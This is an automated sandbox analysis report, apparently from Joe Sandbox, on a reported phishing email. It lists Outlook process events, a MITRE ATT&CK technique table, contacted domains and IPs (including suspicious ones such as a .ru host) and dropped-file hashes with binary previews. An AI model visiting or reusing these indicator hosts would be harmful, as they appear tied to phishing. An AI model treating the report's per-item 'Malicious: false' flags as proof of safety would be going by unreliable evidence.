Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile Volume queried: C:\Windows\SysWOW64 FullSizeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information queried: ProcessInformation
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeQueries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
DLL Side-Loading		1
Process Injection		11
Masquerading		OS Credential Dumping1
Process Discovery		Remote ServicesData from Local System2
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
Registry Run Keys / Startup Folder		1
DLL Side-Loading		1
Process Injection		LSASS Memory1
File and Directory Discovery		Remote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
Registry Run Keys / Startup Folder		1
DLL Side-Loading		Security Account Manager13
System Information Discovery		SMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
about:blank0%Avira URL Cloudsafe
file:///C:/Users/user/Downloads/Document%2001660.pdf0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
a.nel.cloudflare.com
35.190.80.1
truefalse
    		high
    accounts.google.com
    		142.250.31.84
    		truefalse
      		high
      cloud.mail.com
      		74.208.232.192
      		truefalse
        		high
        clicktime.cloud.postoffice.net
        		165.212.65.140
        		truefalse
          		high
          sdthumbs-us.ui-static.net
          		74.208.232.43
          		truefalse
            		unknown
            uim-tifbs.ha-cdn.de
            		195.20.251.111
            		truefalse
              		unknown
              www.google.com
              		142.250.80.36
              		truefalse
                		high
                clients.l.google.com
                		142.250.80.46
                		truefalse
                  		high
                  36r39.9squa0.com
                  		104.21.60.192
                  		truefalse
                    		unknown
                    nvohxxicwod.trcvtoke.ru
                    		172.67.193.41
                    		truefalse
                      		unknown
                      wa.mail.com
                      		74.208.232.72
                      		truefalse
                        		high
                        cgateu03lxa.storage-mailcom.com
                        		74.208.232.132
                        		truefalse
                          		unknown
                          clients1.google.com
                          		unknown
                          		unknownfalse
                            		high
                            uim.tifbs.net
                            		unknown
                            		unknownfalse
                              		unknown
                              c.mail.com
                              		unknown
                              		unknownfalse
                                		high
                                clients2.google.com
                                		unknown
                                		unknownfalse
                                  		high
                                  s.uicdn.com
                                  		unknown
                                  		unknownfalse
                                    		high
                                    cgateu03maus.storage-mailcom.com
                                    		unknown
                                    		unknownfalse
                                      		unknown
                                      img.ui-portal.de
                                      		unknown
                                      		unknownfalse
                                        		high
                                        dl.mail.com
                                        		unknown
                                        		unknownfalse
                                          		high

                                          Contacted URLs

                                          NameMaliciousAntivirus DetectionReputation
                                          https://c.mail.com/@1330138059395571831/wNcKR19EQGCH-PAeqcF_hgfalse
                                            		high
                                            https://36r39.9squa0.com/486bg0t/false
                                              		unknown
                                              file:///C:/Users/user/Downloads/Document%2001660.pdffalse
                                              • Avira URL Cloud: safe
                                              		low
                                              about:blankfalse
                                              • Avira URL Cloud: safe
                                              		low

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              142.250.80.46
                                              		clients.l.google.comUnited States
                                              		15169GOOGLEUSfalse
                                              52.113.194.132
                                              		unknownUnited States
                                              		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                              142.250.80.36
                                              		www.google.comUnited States
                                              		15169GOOGLEUSfalse
                                              1.1.1.1
                                              		unknownAustralia
                                              		13335CLOUDFLARENETUSfalse
                                              74.208.232.72
                                              		wa.mail.comUnited States
                                              		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                              23.51.56.208
                                              		unknownUnited States
                                              		4788TMNET-AS-APTMNetInternetServiceProviderMYfalse
                                              172.67.193.41
                                              		nvohxxicwod.trcvtoke.ruUnited States
                                              		13335CLOUDFLARENETUSfalse
                                              74.208.232.192
                                              		cloud.mail.comUnited States
                                              		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                              74.208.232.132
                                              		cgateu03lxa.storage-mailcom.comUnited States
                                              		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                              142.250.80.99
                                              		unknownUnited States
                                              		15169GOOGLEUSfalse
                                              142.250.64.67
                                              		unknownUnited States
                                              		15169GOOGLEUSfalse
                                              165.212.65.140
                                              		clicktime.cloud.postoffice.netUnited States
                                              		14454PERIMETER-ESECURITYUSfalse
                                              195.20.251.111
                                              		uim-tifbs.ha-cdn.deGermany
                                              		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                              104.21.60.192
                                              		36r39.9squa0.comUnited States
                                              		13335CLOUDFLARENETUSfalse
                                              239.255.255.250
                                              		unknownReserved
                                              		unknownunknownfalse
                                              52.109.32.97
                                              		unknownUnited States
                                              		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                              74.208.232.43
                                              		sdthumbs-us.ui-static.netUnited States
                                              		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                              96.16.24.227
                                              		unknownUnited States
                                              		16625AKAMAI-ASUSfalse
                                              52.168.117.169
                                              		unknownUnited States
                                              		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                              35.190.80.1
                                              		a.nel.cloudflare.comUnited States
                                              		15169GOOGLEUSfalse
                                              142.250.31.84
                                              		accounts.google.comUnited States
                                              		15169GOOGLEUSfalse
                                              142.251.35.174
                                              		unknownUnited States
                                              		15169GOOGLEUSfalse

                                              Private

                                              IP
                                              192.168.2.16
                                              192.168.2.30

                                              General Information

                                              Joe Sandbox version:40.0.0 Tourmaline
                                              Analysis ID:1397290
                                              Start date and time:2024-02-22 22:50:26 +01:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:19
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:0
                                              Technologies:
                                              • EGA enabled
                                              Analysis Mode:stream
                                              Analysis stop reason:Timeout
                                              Sample name:phish_alert_iocp_v1.4.48.eml
                                              Detection:MAL
                                              Classification:mal48.phis.winEML@41/39@42/233
                                              Cookbook Comments:
                                              • Found application associated with file extension: .eml

                                              Warnings

                                              • Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
                                              • Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 142.250.80.99, 34.104.35.123, 96.16.24.227, 23.51.56.208, 52.168.117.169
                                              • Excluded domains from analysis (whitelisted): ecs.office.com, fs.microsoft.com, slscr.update.microsoft.com, prod.configsvc1.live.com.akadns.net, clientservices.googleapis.com, img.ui-portal.de.edgekey.net, onedscolprdeus10.eastus.cloudapp.azure.com, s-0005-office.config.skype.com, mobile.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, ecs-office.s-0005.s-msedge.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, e5416.g.akamaiedge.net, config.officeapps.live.com, s.uicdn.com.edgekey.net, dl.mail.com.edgekey.net, officeclient.microsoft.com, ecs.office.trafficmanager.net, ukw-azsc-config.officeapps.live.com, europe.configsvc1.live.com.akadns.net, mobile.events.data.trafficmanager.net
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report size getting too big, too many NtQueryAttributesFile calls found.
                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                              • VT rate limit hit for: phish_alert_iocp_v1.4.48.eml

                                              Created / dropped Files

                                              C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):231348
                                              Entropy (8bit):4.382914102556575
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:A6215EED67255D77B9800F2F402D5739
                                              SHA1:289922BE3269F26E3F3718873E3B103C68E8C496
                                              SHA-256:731F41A367A7E7780465D9AD3C72E9BD040BC2E42D9FD063CE3678A80E73FC6D
                                              SHA-512:4ECC2FF1B21CC49BB7AB0A08D86DDDA5A8819E35013CC453D33159D20EB40CEC9DA5940FCF959943D6543818DCE7D969C319994638309BCB6BAD7D9794B0B271
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:TH02...... ..../.e......SM01X...,....)./.e..........IPM.Activity...........h...............h............H..h.........RS...h..........I.H..h\cal ...pDat...h .I.0...8......hb..8..X........h........_`.j...h>..8@...I.lw...h....H...8..j...0....T...............d.........2h...............kf.i..... .h...!h.............. h#d.?....P.....#h....8.........$h..I.....8....."h.^.....(.^...'h..>...........1hb..8<.........0h....4....j../h....h......jH..h..X.p........-h .......|.....+h...8....................... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

                                              C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
                                              Category:dropped
                                              Size (bytes):1869
                                              Entropy (8bit):5.083232413208435
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:33E387199354A09F67CD66D68F7F69B6
                                              SHA1:CB8BDE037383AE9B2A03FF2BD3AB8F8F3C86B8D7
                                              SHA-256:03BC0850B3C8FB8460B5EEC4726405EA1AF82CACA644E2C67226A9DB8DF4EB9A
                                              SHA-512:1646DD882AB4C3EC7B127CC52707D1F586DE164B3FB5BC2D118BF3F9A1D8A17A08EBD8D1562C6B0DEE6C952098523FBB3E646E69E75ABB6AB674CAE2A46C129F
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-02-22T21:51:03Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215424</Id><LAT>2023-10-06T09:25:29Z</LAT><key>31558910439.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:25:29Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:25:29Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>30264859306.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos_

                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):32768
                                              Entropy (8bit):0.04604146709717531
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:F49B7609DA773BA28A698CC0FB7E6020
                                              SHA1:717176F28026CC839C73F378D69AEF0837336981
                                              SHA-256:682A706C685C458FEC479B6C1F7F376EFF58B954A8F948B2D928464900ED8D8E
                                              SHA-512:6B27420282E3EB293A017058D714A25C5078A0FE4A2ECB3777B9714A494B4F055F5C7F545C93658540B6B653D876C9A329D63586B2A99F6CB93FB7E75FB35248
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:..-.....................n.b.P.w..Q&.:=`..6......-.....................n.b.P.w..Q&.:=`..6............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:SQLite Write-Ahead Log, version 3007000
                                              Category:modified
                                              Size (bytes):49472
                                              Entropy (8bit):0.4847350761332591
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:A9C30E59139B7362F7923E650970CFDD
                                              SHA1:D5EE6FAF710D07959BEE01EE61AD2CD934674F41
                                              SHA-256:B02C31B8527C7B34DC1D40E18D612AF507449C1F379D84991F90D0178AC676C9
                                              SHA-512:B393F39FB6C102D8CE4580A5EF8C845C6BC4587C111DC547898D04A38C59535880E89D4BF6589F4AA6B24E32D9C06B864DB2DB68682A3E5A0974FC2C02B60258
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:7....-............Q&.:=`.8.1.]............Q&.:=`7!)..?@tSQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E8C78DEC.dat

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 196x60, components 3
                                              Category:dropped
                                              Size (bytes):4763
                                              Entropy (8bit):7.893660089865
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:8560A10013831641089697FA67B747A4
                                              SHA1:FD38E64A1095D025F3F4DCAD0B527E789C4001C5
                                              SHA-256:4BAB614C371A224C3DFDEFBEDAC6E35EB4E5E43CCBCA6446B1269FE851F32283
                                              SHA-512:7A9DCACB944A4673CDADD682E895C79AC67895F88E0C71F7A516377FDE1761A3FAD8B091706F0EBF6CEE762EDB99F49869AA14ADF534C26B37A13DC9044E01F1
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:......JFIF.....x.x.....C...........................$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================......<...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..]K].4}..7.[...#.[.:.X.f........J..Q.VG.,..W..[....q...QPz....j...[....B..]H........g.0.}.@.J.>+..<.`......k..~a.t...je....@....F....Z#.*...R.......iz....8%Q.X.i'0g.'.).....z.V. .SJME.....+)~..w.Z....C.i......Y.......</..Agwc.h...Z..8.....Q. .oN...J..Z..s[\Y_....@b... ...6.dW.|_..._..).......En.U.NA..v.)x.T.H......).=sR.5..9d.#...#$u*A.@..s{......

                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{58925E2F-EE79-44B2-9E4B-2EF1EF87CA83}.tmp

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):2048
                                              Entropy (8bit):1.7641323211362645
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:9A7503A986874E6CEC17107960AE7713
                                              SHA1:69DA721CD0E14E9F15FB559CE442670956650B44
                                              SHA-256:1B8D92EE2874A770E06A4400E687D9D1E6797BB11022CDC77B478D0B48053074
                                              SHA-512:B7CF0C1D1A7C2844F9F216093CF49DC2B43DD96411B9DD270F7F9B8BEF40D4A9FB705522965AF0DBFE899FE262CDECE364B5B9B4843CEEEC7578BCAC16928846
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:....1.2.....1.....1.2.....1.2.....1.2.....1.2.....1.2.....1.2.....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...c.a.l.i...c............................................................................................................................................................................................................................................................................................................................................................................................... ..."...(...*...0...2...8...:...@...B...H...J...P...R...V...X...\...^...d...f...l...................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{F8A34264-09F4-4CAB-9D86-92F950D98F04}.tmp

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):4120
                                              Entropy (8bit):3.201787607889138
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:7A8D3DCB5718AFFAE1A7B3C8606D6AD0
                                              SHA1:3AC643F7CFE04E2E27C4FF36B69C390BD7ECAF29
                                              SHA-256:C324904B104B44A971C84E814ACBAF8EDCA1845B9DCFD858C4343A3CF035D414
                                              SHA-512:953EC0838E5279AD56321DAE2E7AD79906CF219A8BB69439620C08A78A390CEC4C056B61E3BB025733EBF5AF4C632746FFDDAD83F6A24716DBB3FE08CD20B65C
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:....[.E.X.T.E.R.N.A.L. .E.M.A.I.L.:. .T.a.k.e. .c.a.u.t.i.o.n. .w.i.t.h. .l.i.n.k.s. .a.n.d. .a.t.t.a.c.h.m.e.n.t.s... .]. .......G.o.o.d. .D.a.y...........................................................................................................................................................................................................................................................................................................................................................................................................6.......2...6...F...J...d........................................................................................................................................................................................................................................................................................................................................................................................-D..M...............-D..M.................&..F..-D..M......

                                              C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1708638661037595800_DFE14072-926C-4DE4-A3C8-C08FE4F903DF.log

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:ASCII text, with very long lines (28769), with CRLF line terminators
                                              Category:dropped
                                              Size (bytes):20971520
                                              Entropy (8bit):0.16060858377368317
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:9DA62F42BACCFE457976B540854F8834
                                              SHA1:92CDF68859EF551A30F7BD5D3D708407B48FF0D8
                                              SHA-256:19C7100F0C003D83BA204A12AED02568E942A9D7D838BAF8D523346DC255FBE9
                                              SHA-512:6A46A7731D9C73B74E58260554C9E3E1EA8037AACC68EDCF5DBD912364A7B1351838F7B7C93ED3C46F3C7F15792FB0145CE9366325C3BF4A5A54E87FB7A50DA8
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..02/22/2024 21:51:01.148.OUTLOOK (0x1AF4).0x1AF8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":22,"Time":"2024-02-22T21:51:01.148Z","Contract":"Office.System.Activity","Activity.CV":"ckDh32yS5E2jyMCP5PkD3w.4.9","Activity.Duration":17,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...02/22/2024 21:51:01.180.OUTLOOK (0x1AF4).0x1AF8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":24,"Time":"2024-02-22T21:51:01.180Z","Contract":"Office.System.Activity","Activity.CV":"ckDh32yS5E2jyMCP5PkD3w.4.10","Activity.Duration":10709,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorV

                                              C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1708638661039147200_DFE14072-926C-4DE4-A3C8-C08FE4F903DF.log

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):20971520
                                              Entropy (8bit):0.0
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:8F4E33F3DC3E414FF94E5FB6905CBA8C
                                              SHA1:9674344C90C2F0646F0B78026E127C9B86E3AD77
                                              SHA-256:CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
                                              SHA-512:7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240222T2251000679-6900.etl

                                              Download File
                                              Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
                                              File Type:data
                                              Category:modified
                                              Size (bytes):106496
                                              Entropy (8bit):4.509290871884155
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:A3A18760C0A4AF6BDBDE373F8E1620DC
